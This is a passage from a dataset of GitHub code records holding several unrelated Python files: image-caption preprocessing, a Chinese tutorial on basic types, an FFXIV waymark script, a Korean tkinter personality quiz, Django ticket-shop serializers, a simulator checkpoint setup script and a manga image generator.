self.PAD)\n log_file.write('IMG_FEATS: %s \\n' % self.IMG_FEATURES)\n log_file.write('word_frequency_threshold: %s \\n' % self.word_threshold)\n log_file.write('max_caption_length: %s \\n' % self.max_caption_length)\n log_file.close()\n\n data_file = open(self.root_path + '/data/data.txt', 'w')\n data_file.write('image_names*caption\\n')\n for image_arg, image_name in enumerate(self.image_files):\n caption = ' '.join(self.captions[image_arg])\n data_file.write('%s*%s\\n' % (image_name, caption))\n data_file.close()\n\n def _extract_image_features(self):\n print('Extracting image features')\n image_model = InceptionV3(weights='imagenet')\n self.extracted_features = {}\n self.image_feature_files = list(set(self.image_files))\n number_of_images = len(self.image_feature_files)\n for image_arg, image_file in enumerate(self.image_feature_files):\n image_path = self.root_path + '/data/Flicker8k_Dataset/' + image_file\n if image_arg % 100 == 0:\n print('%.2f %% completed' % round(100 * image_arg / number_of_images, 2))\n if os.path.exists(image_path):\n img = image.load_img(image_path, target_size=(224, 224))\n img = image.img_to_array(img)\n img = np.expand_dims(img, axis=0)\n img = preprocess_input(img)\n CNN_features = image_model.predict(img)\n self.extracted_features[image_file] = np.squeeze(CNN_features)\n print('100 % completed')\n print('Writing image features ... ', end='')\n pickle.dump(self.extracted_features, open(self.root_path + '/data/' + 'extracted_features.p', 'wb'))\n print('Done')\n\n def _construct_dictionary(self):\n print('Build dictionary ... ', end='')\n words = [word for word, freq in self.word_frequencies]\n self.word_to_id = {self.PAD: 0, self.BOS: 1, self.EOS: 2}\n self.word_to_id.update({word: word_id for word_id, word in enumerate(words, 3)})\n self.id_to_word = {word_id: word for word, word_id in self.word_to_id.items()}\n pickle.dump(self.word_to_id, open(self.root_path + '/data/word_to_id.p', 'wb'))\n pickle.dump(self.id_to_word, open(self.root_path + '/data/id_to_word.p', 'wb'))\n print('Done')\n\n def _remove_infrequent_words(self):\n print('Removing words with a frequency less than {} ... '.format(self.word_threshold), end='')\n word_frequencies = []\n for word, freq in self.word_frequencies:\n if freq > self.word_threshold:\n word_frequencies.append((word, freq))\n self.word_frequencies = word_frequencies\n self.vocabulary_size = len(self.word_frequencies)\n print('Done')\n print('Vocabulary size: {}'.format(self.vocabulary_size))\n\n def _process_captions(self):\n captions = []\n for caption in self.captions:\n lemmatized_caption = self._lemmatize_sentence(caption)\n if len(lemmatized_caption) > self.max_caption_length:\n self.max_caption_length = len(lemmatized_caption)\n captions.append(lemmatized_caption)\n self.captions = captions\n\n def _lemmatize_sentence(self, caption):\n incorrect_chars = digits + \";.,'/*?¿><:{}[\\]|+()\"\n char_translator = str.maketrans('', '', incorrect_chars)\n quotes_translator = str.maketrans('', '', '\"')\n clean_caption = caption.strip().lower()\n clean_caption = clean_caption.translate(char_translator)\n clean_caption = clean_caption.translate(quotes_translator)\n clean_caption = clean_caption.split(' ')\n return clean_caption\n\n def _load(self):\n print('Loading data ... ', end='')\n path = self.root_path + '/data/Flickr8k.token.txt'\n self.image_files = []\n self.captions = []\n with open(path, 'r') as file:\n for line in file:\n row = line.split(\"#\")\n self.image_files.append(row[0])\n self.captions.append(row[1].split('\\t')[1].strip())\n\n print('{} images loaded'.format(len(self.image_files)))\n\n\ndef main():\n DataPreprocessing(run_inception=True, word_threshold=5).run()\n","repo_name":"amarbasic/icaption","sub_path":"app/algorithm/data_preprocessing.py","file_name":"data_preprocessing.py","file_ext":"py","file_size_in_byte":6151,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"74013338339","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n'''\n@File : 原始数据结构.py\n@Time : 2020/03/16 22:22:21\n@Author : 望 \n@Version : 1.0\n@Contact : 2521664384@qq.com\n@Desc : None\n'''\n\n# here put the import lib\n\n'''\n原始数据结构\n'''\n\n# Integers:您可以使用Integers表示数字数据,具体地说,可以使用从负无穷大到无穷大的整数\nnumber_1 = 1\nnumber_2 = 2\nnumber_3 = 3\nprint(number_1,number_1+number_2,number_1*number_2)\nprint(number_3/number_1,number_3%number_1)\n\n# Float:“Float”代表“浮点数”。 您可以将它用于有理数,通常以十进制数字结尾,例如1.11或3.14。计算同Integers.\nprint(3/2)#整形相除得浮点\nprint(3//2)#整除\n\n# String: String是字母,单词或其他字符的集合。 在Python中,您可以通过在一对单引号或双引号中包含一系列字符来创建字符串。\nx = 'Cake'\ny = 'Cookie'\nx + ' & ' + y #结果:'Cake & Cookie'\n\n# Repeat\nx * 2 #结果:'CakeCake'\n\n# split\nz1 = x[2:] \nprint(z1)\nz2 = y[0] + y[1] \nprint(z2)\n# 结果 ke Co\n\n# 内置辅助方法\n\n# 大写首字母\nstr.capitalize(\"cookie\")\n\n# 以字符为单位检索字符串的长度,空格同时计数\nstr1 = \"Cake 4 U\"\nstr2 = \"404\"\nprint(len(str1))\n\n# 检查字符串是否数字\nstr1 = \"Cake 4 U\"\nstr2 = \"404\"\nstr1.isdigit()\n# False\nstr2.isdigit()\n# True\n\n# 替换\nstr1 = \"Cake 4 U\"\nstr2 = \"404\"\nstr1.replace('4 U', str2)\n# 'Cake 404'\n\n# 查找子字符串\nstr1 = 'cookie'\nstr2 = 'cook'\nstr1.find(str2)\n# 0\nstr1 = 'I got you a cookie'\nstr2 = 'cook'\nstr1.find(str2)\n# 12\n\n# Boolean:这种内置数据类型值为:True和False,这通常使它们可以与整数1和0互换。\nx = 4\ny = 2\nprint(x == y)\n# False\nprint(x > y)\n# True\n\nx = 4\ny = 2\nz = (x==y)\nif z:\n print(\"Cookie\")\nelse:\n print(\"No Cookie\")\n# No Cookie\n\n# 数据类型转化\n\n#查看数据类型\ni = 4.0\nprint(type(i))\n# float\n\n# 隐式数据类型转换:数据类型自动转换,不需要指定,编译器会为您处理。\n# float\nx = 4.0 \n# integer\ny = 2 \nz = x/y\nprint(type(z))\n# float\n\n# 显式数据类型转换\n\nx = 0\ny = \"The Godfather: Part \"\nprint(str(x),float(x),bool(x))\nprint(str(x) + y)","repo_name":"M42-Orion/python-data-structure","sub_path":"原始数据结构.py","file_name":"原始数据结构.py","file_ext":"py","file_size_in_byte":2168,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"37389413697","text":"from time import sleep\nfrom FFxivPythonTrigger import plugins\n\n\ndef dis(x1, y1, z1, x2, y2, z2):\n return ((x1 - x2) ** 2 + (y1 - y2) ** 2 + (z1 - z2) ** 2) ** 0.5\n\n\n# m = ['one', 'two', 'three', 'four', 'a', 'b', 'c', 'd']\nm = ['three', 'c']\n\ni = -1\nlast_pos = None\nwhile True:\n t_id = plugins.XivMemory.markings.head_mark.circle.actor_id\n t_a = plugins.XivMemory.actor_table.get_actor_by_id(t_id)\n if t_a and (last_pos is None or dis(last_pos[0], last_pos[1], last_pos[2], t_a.pos.x, t_a.pos.y, t_a.pos.z) > 5):\n i += 1\n plugins.XivMemory.calls.way_mark(m[i % len(m)], t_a.pos)\n last_pos = (t_a.pos.x, t_a.pos.y, t_a.pos.z)\n sleep(0.1)\n","repo_name":"AutumnInSouth/FFxivPythonTrigger3","sub_path":"script/mk_circle.py","file_name":"mk_circle.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"35"} +{"seq_id":"35095943881","text":"# 연속된 자연수의 합 구하기 (투포인터)\n\nn = int(input())\n\nstart = 1\nend = 1\ntotal = 1\ncount = 1\n\n# 투 포인터 알고리즘\nwhile end != n:\n if total < n:\n end += 1\n total += end\n elif total > n:\n total -= start\n start += 1\n else:\n end += 1\n total += end\n total -= start\n start += 1\n count += 1\n\nprint(count)\n","repo_name":"GyuYoungLee/codingtest-python","sub_path":"backjoon/006-2108.py","file_name":"006-2108.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"15521150164","text":"from tkinter import *\r\nfrom tkinter import messagebox\r\nfrom tkinter import ttk\r\nfrom tkinter.filedialog import *\r\n\r\n\r\n\r\n##필요한 함수 선언\r\n\r\ndef func_exit(): #윈도우 창을 종료시키는 함수\r\n window.quit()\r\n window.destroy()\r\n\r\ndef caution(): #선택지 고르지 않고 다음버튼 누르면 나오는 메세지 박스\r\n messagebox.showinfo(\"알림\", \"선택지를 골라주세요\")\r\n\r\ndef check(): #선택지를 모두 골랐는지 확인하는 함수\r\n if (var1.get() != FALSE and var2.get() != FALSE and var3.get() != FALSE and var4.get() != FALSE):\r\n openResult()\r\n else:\r\n caution()\r\n \r\ndef openResult(): #마지막 질문 답변 후 다음버튼 누르면새로운 창을 띄워 결과창 보여줄 때\r\n def func_foodResult(): #1번 질문지에서 고른 것에 따라 다른 결과 이미지를 띄우기 위함\r\n if var1.get() == 1:\r\n photo = PhotoImage(file = \"C://Temp//result//food01.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var1.get() == 2:\r\n photo = PhotoImage(file = \"C://Temp//result//food02.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var1.get() == 3:\r\n photo = PhotoImage(file = \"C://Temp//result//food03.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var1.get() == 4:\r\n photo = PhotoImage(file = \"C://Temp//result//food04.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n def func_tourResult(): #2번 질문지에서 고른 것에 따라 다른 결과 이미지를 띄우기 위함\r\n if var2.get() == 1:\r\n photo = PhotoImage(file = \"C://Temp//result//tour01.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var2.get() == 2:\r\n photo = PhotoImage(file = \"C://Temp//result//tour02.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var2.get() == 3:\r\n photo = PhotoImage(file = \"C://Temp//result//tour03.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var2.get() == 4:\r\n photo = PhotoImage(file = \"C://Temp//result//tour04.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n def func_clothResult(): #3번 질문지에서 고른 것에 따라 다른 결과 이미지를 띄우기 위함\r\n if var3.get() == 1:\r\n photo = PhotoImage(file = \"C://Temp//result//cloth01.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var3.get() == 2:\r\n photo = PhotoImage(file = \"C://Temp//result//cloth02.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var3.get() == 3:\r\n photo = PhotoImage(file = \"C://Temp//result//cloth03.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var3.get() == 4:\r\n photo = PhotoImage(file = \"C://Temp//result//cloth04.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n def func_playResult(): #4번 질문지에서 고른 것에 따라 다른 결과 이미지를 띄우기 위함\r\n if var4.get() == 1:\r\n photo = PhotoImage(file = \"C://Temp//result//play01.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var4.get() == 2:\r\n photo = PhotoImage(file = \"C://Temp//result//play02.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var4.get() == 3:\r\n photo = PhotoImage(file = \"C://Temp//result//play03.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n \r\n if var4.get() == 4:\r\n photo = PhotoImage(file = \"C://Temp//result//play04.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n \r\n top = Toplevel(window)\r\n label = Label(top)\r\n top.geometry(\"700x700\")\r\n top.resizable(width = FALSE, height = FALSE)\r\n Label.pack\r\n\r\n photo = PhotoImage()\r\n pLabel = Label(top, image = photo)\r\n pLabel.pack(expand = 1, anchor = CENTER)\r\n\r\n photo = PhotoImage(file = \"C://Temp//result//main_result.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n #메뉴창\r\n mainMenu = Menu(top)\r\n top.config(menu = mainMenu)\r\n fileMenu = Menu(mainMenu)\r\n mainMenu.add_cascade(label = \"결과\", menu = fileMenu)\r\n fileMenu.add_command(label = \"한식\", command = func_foodResult)\r\n fileMenu.add_separator()\r\n fileMenu.add_command(label = \"관광지\", command = func_tourResult)\r\n fileMenu.add_separator()\r\n fileMenu.add_command(label = \"전통 옷\", command = func_clothResult)\r\n fileMenu.add_separator()\r\n fileMenu.add_command(label = \"전통놀이\", command = func_playResult)\r\n fileMenu.add_separator()\r\n fileMenu.add_command(label = \"프로그램 종료\", command = func_exit)\r\n \r\n\r\n#메인함수---------------------------------\r\n \r\nwindow = Tk() #베이스 윈도우 창\r\n\r\n\r\nwindow.title('나에게 맞는 한국 전통 문화 테스트') #창 이름\r\nwindow.geometry('800x600') #크기 정해놓기(사진 크기에 맞게 바꾸기)\r\nwindow.resizable(width = FALSE, height = FALSE) #크기 못바꾸게 함(팀원들과 상의하기)\r\n\r\nvar1 = IntVar()\r\n\r\nnotebook = ttk.Notebook(window, width = 800, height = 600) #탭\r\nnotebook.pack()\r\n\r\n\r\nframe1 = Frame(window)\r\nnotebook.add(frame1, text =\"첫번째 질문\")\r\n\r\nquestion1 = Label(frame1, text = '1. 배고픈 당신! 배달 앱으로 주문해서 밥을 먹으려고 하는데... 당신의 선택은?', font =(\"맑은 고딕\", 15)) ## ex ) 여행갈 때 계획을 미리 하고 가나요?\r\nquestion1.pack(pady = 50)\r\n\r\nc1_1 = Radiobutton(frame1, text='1. 음식 종류부터 혜택까지 꼼꼼하게 따져보고 주문한다.', font =(\"맑은 고딕\", 11), variable=var1, value=1)\r\nc1_1.pack(anchor = W)\r\n\r\nc1_2 = Radiobutton(frame1, text='2. 과감하게 먹어보지 않은 새로운 메뉴를 주문한다.',font =(\"맑은 고딕\", 11), variable=var1, value=2)\r\nc1_2.pack(anchor = W)\r\n\r\nc1_3 = Radiobutton(frame1, text='3. 이미 하루 전에 주문 계획이 다 세워있는 편! 고민 없이 바로 주문한다.',font =(\"맑은 고딕\", 11), variable=var1, value=3)\r\nc1_3.pack(anchor = W)\r\n\r\nc1_4 = Radiobutton(frame1, text='4. 일단 이것저것 많이 주문한다. 그러고선 정작 음식이 오면 다 못 먹는 편..',font =(\"맑은 고딕\", 11), variable=var1, value=4)\r\nc1_4.pack(anchor = W)\r\n\r\nvar2 = IntVar()\r\n\r\nframe2 = Frame(window)\r\nnotebook.add(frame2, text = \"두번째 질문\")\r\nquestion2 = Label(frame2, text = '2. 곧 있을 여름방학을 맞아 여름휴가를 준비하려는 당신... 당신의 선택은?', font =(\"맑은 고딕\", 15)) ## ex ) 여행갈 때 계획을 미리 하고 가나요?\r\nquestion2.pack(pady = 50)\r\n\r\nc21 = Radiobutton(frame2, text='1. 이상적인 휴가를 머릿속으로 떠올리며 행복한 상상에 빠진다.', font =(\"맑은 고딕\", 11), variable=var2, value=1)\r\nc21.pack(anchor = W)\r\n\r\nc22 = Radiobutton(frame2, text='2. 배보다 배꼽이 먼저! 일단 여행 갈 때 입을 옷부터 산다.',font =(\"맑은 고딕\", 11), variable=var2, value=2)\r\nc22.pack(anchor = W)\r\n\r\nc23 = Radiobutton(frame2, text='3. 여름휴가를 같이 갈 사람을 모집하고 같이 가는 사람들에게 뭐하고 싶은지 물어본다.',font =(\"맑은 고딕\", 11), variable=var2, value=3)\r\nc23.pack(anchor = W)\r\n\r\nc24 = Radiobutton(frame2, text='4. 샅샅이 조사해서 갈 곳을 정하고 전체 구성을 기획한다.',font =(\"맑은 고딕\", 11), variable=var2, value=4)\r\nc24.pack(anchor = W)\r\n\r\nvar3 = IntVar()\r\n\r\nframe3 = Frame(window)\r\nnotebook.add(frame3, text = \"세번째 질문\")\r\nquestion3 = Label(frame3, text = '3.친구가 약속에 늦었을 때... 당신의 반응은?', font =(\"맑은 고딕\", 15)) ## ex ) 여행갈 때 계획을 미리 하고 가나요?\r\nquestion3.pack(pady = 50)\r\n\r\nc31 = Radiobutton(frame3, text='1. 앗! 나도 늦었다!', font =(\"맑은 고딕\", 11), variable=var3, value=1)\r\nc31.pack(anchor = W)\r\n\r\nc32 = Radiobutton(frame3, text='2. 오면 된거지! 신경쓰지 않는다.',font =(\"맑은 고딕\", 11), variable=var3, value=2)\r\nc32.pack(anchor = W)\r\n\r\nc33 = Radiobutton(frame3, text='3. 눈에는 눈! 이에는 이! 다음에 나도 똑같이 늦는다.',font =(\"맑은 고딕\", 11), variable=var3, value=3)\r\nc33.pack(anchor = W)\r\n\r\nc34 = Radiobutton(frame3, text='4. 늦으면 끝이지... 그��� 집에 간다.',font =(\"맑은 고딕\", 11), variable=var3, value=4)\r\nc34.pack(anchor = W)\r\n\r\nvar4 = IntVar()\r\n\r\nframe4 = Frame(window)\r\nnotebook.add(frame4, text = \"네번째 질문\")\r\nquestion4 = Label(frame4, text = '4. 열심히 공부한 기말 시험을 망쳤을 때... 당신의 반응은?', font =(\"맑은 고딕\", 15)) ## ex ) 여행갈 때 계획을 미리 하고 가나요?\r\nquestion4.pack(pady = 50)\r\n\r\nc41 = Radiobutton(frame4, text='1. 너무 슬퍼서 엉엉 운다.', font =(\"맑은 고딕\", 11), variable=var4, value=1)\r\nc41.pack(anchor = W)\r\n\r\nc42 = Radiobutton(frame4, text='2. 끝난 건 끝난 것! 그냥 논다.',font =(\"맑은 고딕\", 11), variable=var4, value=2)\r\nc42.pack(anchor = W)\r\n\r\nc43 = Radiobutton(frame4, text='3. 아직 다음 시험이 있다! 열심히 공부한다.',font =(\"맑은 고딕\", 11), variable=var4, value=3)\r\nc43.pack(anchor = W)\r\n\r\nc44 = Radiobutton(frame4, text='4. 교수님... 성적 정정 메일을 구구절절 보내본다.',font =(\"맑은 고딕\", 11), variable=var4, value=4)\r\nc44.pack(anchor = W)\r\n\r\nbtnNext = Button(frame4, text = \" 결과 확인하기\", command = check ) #버튼 설정\r\nbtnNext.place( x =680, y = 320) #해당 좌표에 버튼 배치\r\n\r\nwindow.mainloop()\r\n","repo_name":"mnzy412/personality-test-korea","sub_path":"한국 전통문화 테스트.py","file_name":"한국 전통문화 테스트.py","file_ext":"py","file_size_in_byte":10031,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"27446479646","text":"from dataclasses import field\nfrom .models import Event, EventImage, Theme, Cart, CartTicket, Order, OrderTicket, Customer\nfrom rest_framework import serializers\nfrom django.db import transaction\n\n\nclass EventImageSerializer(serializers.ModelSerializer):\n\n def create(self, validated_data):\n event_id = self.context['event_id']\n return EventImage.objects.create(event_id=event_id, **validated_data)\n\n class Meta:\n model = EventImage\n fields = ['id', 'image']\n\n\nclass EventSerializer(serializers.ModelSerializer):\n images = EventImageSerializer(many=True, read_only=True)\n\n class Meta:\n model = Event\n fields = ['id', 'title', 'slug', 'description',\n 'inventory', 'unit_price', 'theme', 'city', 'location', 'date', 'images', 'last_update']\n\n\nclass ThemeSerializer(serializers.ModelSerializer):\n class Meta:\n model = Theme\n fields = ['id', 'title', 'events_count']\n\n events_count = serializers.IntegerField(read_only=True)\n\n\nclass SimpleEventSerializer(serializers.ModelSerializer):\n class Meta:\n model = Event\n fields = ['id', 'title', 'unit_price']\n\n\nclass CartTicketSerializer(serializers.ModelSerializer):\n event = SimpleEventSerializer()\n total_price = serializers.SerializerMethodField()\n\n def get_total_price(self, cart_ticket: CartTicket):\n return cart_ticket.quantity * cart_ticket.event.unit_price\n\n class Meta:\n model = CartTicket\n fields = ['id', 'event', 'quantity', 'total_price']\n\n\nclass CartSerializer(serializers.ModelSerializer):\n id = serializers.UUIDField(read_only=True)\n tickets = CartTicketSerializer(many=True, read_only=True)\n total_price = serializers.SerializerMethodField()\n\n def get_total_price(self, cart):\n return sum([ticket.quantity * ticket.event.unit_price for ticket in cart.tickets.all()])\n\n class Meta:\n model = Cart\n fields = ['id', 'tickets', 'total_price']\n\n\nclass AddCartTicketSerializer(serializers.ModelSerializer):\n event_id = serializers.IntegerField()\n\n def validate_event_id(self, value):\n if not Event.objects.filter(pk=value).exists():\n raise serializers.ValidationError(\n 'No event with the given ID was found.')\n return value\n\n def save(self, **kwargs):\n cart_id = self.context['cart_id']\n event_id = self.validated_data['event_id']\n quantity = self.validated_data['quantity']\n\n try:\n cart_ticket = CartTicket.objects.get(\n cart_id=cart_id, event_id=event_id)\n cart_ticket.quantity += quantity\n cart_ticket.save()\n self.instance = cart_ticket\n except CartTicket.DoesNotExist:\n self.instance = CartTicket.objects.create(\n cart_id=cart_id, **self.validated_data)\n\n return self.instance\n\n class Meta:\n model = CartTicket\n fields = ['id', 'event_id', 'quantity']\n\n\nclass UpdateCartTicketSerializer(serializers.ModelSerializer):\n class Meta:\n model = CartTicket\n fields = ['quantity']\n\n\nclass CustomerSerializer(serializers.ModelSerializer):\n user_id = serializers.IntegerField(read_only=True)\n\n class Meta:\n model = Customer\n fields = ['id', 'user_id', 'phone', 'city', 'country']\n\n\nclass OrderTicketSerializer(serializers.ModelSerializer):\n event = SimpleEventSerializer()\n\n class Meta:\n model = OrderTicket\n fields = ['id', 'event', 'unit_price', 'quantity']\n\n\nclass OrderSerializer(serializers.ModelSerializer):\n tickets = OrderTicketSerializer(many=True)\n\n class Meta:\n model = Order\n fields = ['id', 'customer', 'placed_at', 'payment_status', 'tickets']\n\n\nclass UpdateOrderSerializer(serializers.ModelSerializer):\n class Meta:\n model = Order\n fields = ['payment_status']\n\n\nclass CreateOrderSerializer(serializers.Serializer):\n cart_id = serializers.UUIDField()\n\n def validate_cart_id(self, cart_id):\n if not Cart.objects.filter(pk=cart_id).exists():\n raise serializers.ValidationError(\n 'No cart with the given ID was found.')\n if CartTicket.objects.filter(cart_id=cart_id).count() == 0:\n raise serializers.ValidationError('The cart is empty.')\n return cart_id\n\n def save(self, **kwargs):\n with transaction.atomic():\n cart_id = self.validated_data['cart_id']\n\n customer = Customer.objects.get(\n user_id=self.context['user_id'])\n order = Order.objects.create(customer=customer)\n\n cart_tickets = CartTicket.objects \\\n .select_related('event') \\\n .filter(cart_id=cart_id)\n order_tickets = [\n OrderTicket(\n order=order,\n event=ticket.event,\n unit_price=ticket.event.unit_price,\n quantity=ticket.quantity\n ) for ticket in cart_tickets\n ]\n OrderTicket.objects.bulk_create(order_tickets)\n\n Cart.objects.filter(pk=cart_id).delete()\n\n return order\n","repo_name":"M4r0uan3/billetterie_backend","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":5178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"16530287398","text":"import os\r\nimport sys\r\nimport json\r\n\r\nSRC_DIR = \"/mnt/ncsudrive/a/amsangam/ECE721/project1\"\r\n\r\ndef __toolchain_setup():\r\n\tTOOLCHAIN_SETUP = \"source /mnt/designkits/spec_2006_2017/O2_fno_bbreorder/activate.bash\"\r\n\tos.system(TOOLCHAIN_SETUP)\r\n\r\ndef checkpoint_directory_name(checkpoint, version):\r\n\treturn \"-\".join([checkpoint, version])\r\n\r\ndef benchmark_name(checkpoint):\r\n\treturn \".\".join(checkpoint.split(\".\")[0:2])\r\n\r\ndef __checkpoint_setup(checkpoint,config_type):\r\n\t\r\n\t# create directory for checkpoint\r\n\tcheckpoint_dir = \"{}/{}\".format(SRC_DIR, checkpoint_directory_name(checkpoint, config_type))\r\n\tMKDIR = \"mkdir {}\".format(checkpoint_dir)\r\n\tos.system(MKDIR)\r\n\r\n\t# change working directory \r\n\tos.chdir(checkpoint_dir)\r\n\r\n\t# create symbolic link for proxy kernel\r\n\tLN_KERNEL = \"ln -s /mnt/designkits/spec_2006_2017/O2_fno_bbreorder/app_storage/pk\"\r\n\tos.system(LN_KERNEL)\r\n\t\r\n\t# create symbolic link for 721sim\r\n\tLN_721SIM = \"ln -s /mnt/ncsudrive/a/amsangam/ECE721/project1/721sim\"\r\n\tos.system(LN_721SIM)\r\n\r\n\t# generate makefile\r\n\tbenchmark = benchmark_name(checkpoint)\r\n\tGENERATE_MAKE = \"atool-simenv mkgen {} --checkpoint {}\".format(benchmark, checkpoint)\r\n\tprint(GENERATE_MAKE)\r\n\tos.system(GENERATE_MAKE)\r\n\r\n\treturn checkpoint_dir\r\n\r\ndef __run_sim(config, checkpoint_dir):\r\n\r\n\t# json file \r\n\tos.chdir(SRC_DIR)\r\n\twith open('run_commands.json') as cmd_file:\r\n\t\tcmds = json.load(cmd_file)\r\n\tcmd_list = cmds[config]\r\n\r\n\tos.chdir(checkpoint_dir)\r\n\tfor CMD in cmd_list:\r\n\t\tos.system(CMD)\r\n\r\ndef __extract_ipc(checkpoint_dir, config, checkpoint):\r\n\t\r\n\t# list files in checkpoint_dir\r\n\tos.chdir(checkpoint_dir)\r\n\r\n\tLS_FILES = \"ls > files.txt\"\r\n\tos.system(LS_FILES)\r\n\r\n\t# fetch stat files\r\n\twith open('files.txt') as files:\r\n\t\tfile_list = files.readlines()\r\n\r\n\tstat_files = [file for file in file_list if 'stats' in file]\r\n\r\n\tipc_rates = []\r\n\tfor stat_file in stat_files:\r\n\t\twith open(stat_file.strip()) as data_file:\r\n\t\t\tdata = data_file.readlines()\r\n\t\t\tfor line in data:\r\n\t\t\t\tif('ipc_rate' in line):\r\n\t\t\t\t\tipc_rates.append(line.split(\":\")[-1].strip())\r\n\r\n\tos.chdir(SRC_DIR)\r\n\tstats_csv = checkpoint+\".csv\"\r\n\twith open(stats_csv, 'a') as stat_csv:\r\n\t\trow = config + \",\" + \",\".join(ipc_rates) + \"\\n\"\r\n\t\tstat_csv.write(row)\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef __run(checkpoint):\t\r\n\r\n\tconfig_type = ['perfALL', 'realD$', 'realBP', 'noT$', 'realDISAMBIG', 'realDISAMBIGFlexible']\r\n\r\n\r\n\tfor config in config_type:\r\n\t\tif(config == 'realDISAMBIGFlexible'):\r\n\t\t\tcheckpoint_dir = __checkpoint_setup(checkpoint, config)\r\n\t\t\t__run_sim(config, checkpoint_dir)\r\n\t\t\t#__extract_ipc(checkpoint_dir, config, checkpoint)\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\t__run(sys.argv[1])\r\n\r\n\r\n\r\n","repo_name":"Aditya-Sangamnerkar/ILP_Limit_Study","sub_path":"checkpoint_setup.py","file_name":"checkpoint_setup.py","file_ext":"py","file_size_in_byte":2645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"33299578067","text":"import os\nfrom dataclasses import dataclass\nfrom random import Random\nfrom typing import Optional, Any, List, Tuple\n\nfrom PIL import Image, ImageDraw\nfrom PIL import ImageFont\n\nfrom comic_ocr.dataset.generated_manga.text_area import TextArea\nfrom comic_ocr.dataset.generated_manga.text_bubble import TextBubble\nfrom comic_ocr.dataset.generated_manga.text_rect import TextRect\nfrom comic_ocr.types import Rectangle, Point, Drawable, Size\nfrom comic_ocr.utils.files import get_path_example_dir, load_images, load_texts\n\n\n@dataclass\nclass MangaGenerator():\n choices_drawings: List[Image.Image]\n choices_texts: List[str]\n choices_fonts: List[ImageFont.ImageFont]\n choices_text_counts: List[int]\n\n random_salt: str = ''\n current_random_seed: float = 0\n output_size: Size = Size.of(768, 768)\n\n @staticmethod\n def create(\n choices_drawings: Optional[List[Image.Image]] = None,\n choices_texts: Optional[List[str]] = None,\n choices_fonts: Optional[List[ImageFont.ImageFont]] = None,\n choices_text_counts: Optional[List[int]] = None,\n random_salt: str = ''\n ):\n choices_drawings = choices_drawings if choices_drawings else load_example_drawing()\n choices_texts = choices_texts if choices_texts else load_example_texts()\n choices_fonts = choices_fonts if choices_fonts else load_example_fonts()\n choices_text_counts = choices_text_counts if choices_text_counts else (5, 6)\n return MangaGenerator(\n choices_drawings=choices_drawings,\n choices_texts=choices_texts,\n choices_fonts=choices_fonts,\n choices_text_counts=choices_text_counts,\n random_salt=random_salt\n )\n\n def generate(self, random_seed: Optional[Any] = None, output_size: Optional[Size] = None):\n if not random_seed:\n random_seed = self.current_random_seed\n\n output_size = output_size if output_size else self.output_size\n random = Random(f'{self.random_salt}_{random_seed}')\n self.current_random_seed = random.random()\n\n return generate(\n random,\n output_size=output_size,\n choices_drawings=self.choices_drawings,\n choices_texts=self.choices_texts,\n choices_fonts=self.choices_fonts,\n choices_text_counts=self.choices_text_counts,\n )\n\n\ndef generate(\n random: Random,\n choices_drawings: List[Image.Image],\n choices_texts: List[str],\n choices_fonts: List[ImageFont.ImageFont],\n choices_text_counts: List[int] = (5,),\n output_size=(768, 768)\n) -> Tuple[Image.Image, List[TextArea]]:\n image: Image.Image = Image.new('RGB', output_size, '#ffffff')\n _draw_random_drawing(random, image, choices_drawings)\n\n text_count = random.choice(choices_text_counts)\n text_areas = _draw_non_overlap_text_areas(\n random, image, text_count, choices_texts=choices_texts, choices_font=choices_fonts)\n\n return image, text_areas\n\n\n# ------------------\n\ncurrent_module_dir = os.path.dirname(__file__)\nproject_root_dir = current_module_dir + '/../../..'\n\n\ndef load_example_fonts() -> List[ImageFont.ImageFont]:\n example_font_dir = get_path_example_dir() + '/fonts/'\n return \\\n [ImageFont.truetype(example_font_dir + 'Komika_Text.ttf', size=15)] + \\\n [ImageFont.truetype(example_font_dir + 'Komika_Text.ttf', size=20)] + \\\n [ImageFont.truetype(example_font_dir + 'Cool Cat.ttf', size=16)] * 3 + \\\n [ImageFont.truetype(example_font_dir + 'Cool Cat.ttf', size=21)]\n\n\ndef load_example_drawing() -> List[Image.Image]:\n return load_images(get_path_example_dir() + '/drawings/*.jpg')[0]\n\n\ndef load_example_texts() -> 